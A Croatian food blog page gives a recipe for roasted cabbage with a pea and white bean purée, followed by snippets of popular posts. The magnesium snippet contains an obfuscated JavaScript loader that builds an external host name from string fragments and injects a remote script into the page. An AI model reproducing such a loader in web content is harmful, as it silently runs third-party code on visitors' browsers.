PEČENI KUPUS S KREMOM OD GRAŠKA I BIJELOG GRAHA





Pečeni kupus s kremom od graška i bijelog graha 




Pečeni kupus zvuči jednostavno, no upravo je ta jednostavnost njegova najveća prednost. Kombinacija karameliziranih rubova, kremastog pirea od graška i graha uz dodatak hrskavih lješnjaka pretvara obično povrće u jelo koje izgleda i kao da je iz restorana. Idealno je za dane kada želite nešto lagano, a opet zasitno.





Pečeni kupus s kremom od graška i bijelog graha 


Sastojci:

manja glavica zelenog kupusa, prerezana po dužini na pola
žlica ekstra djevičanskog maslinovog ulja
žličica javorovog sirupa ili meda
žličica Dijon senfa
naribani režanj češnjaka
sol i papar


Za pire:

200 g smrznutog graška
200 g procijeđenog bijelog graha
šaka metvice
šaka bosiljka
režanj češnjaka
sok pola limuna
2 žlice ekstra djevičanskog maslinovog ulja
2-3 žlice vode
sol i papar


Za posluživanje:

40 g pečenih lješnjaka
svježa metvica
ekstra djevičansko maslinovo ulje
crni papar




Priprema:

Zagrijte pećnicu na 220°C (rad na ventilator). Kupus premažite mješavinom maslinovog ulja, javorovog sirupa ili meda, Dijon senfa i češnjaka pa začinite solju i paprom. Pecite prerezanom stranom okrenutom prema dolje 20 minuta, zatim okrenite i pecite još 8-10 minuta dok ne omekša i lagano se ne zapeče.

Grašak kuhajte oko dvije minute pa ga ohladite pod hladnom vodom. Izblendajte ga zajedno s grahom, metvicom, bosiljkom, češnjakom, limunovim sokom, maslinovim uljem i vodom da dobijete glatku smjesu. Dobro začinite solju i paprom.

Pire rasporedite na tanjure, po vrhu složite pečeni kupus te pospite lješnjacima i svježom metvicom. Na kraju prelijte maslinovim uljem i pospite obilnom količinom crnog papra.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više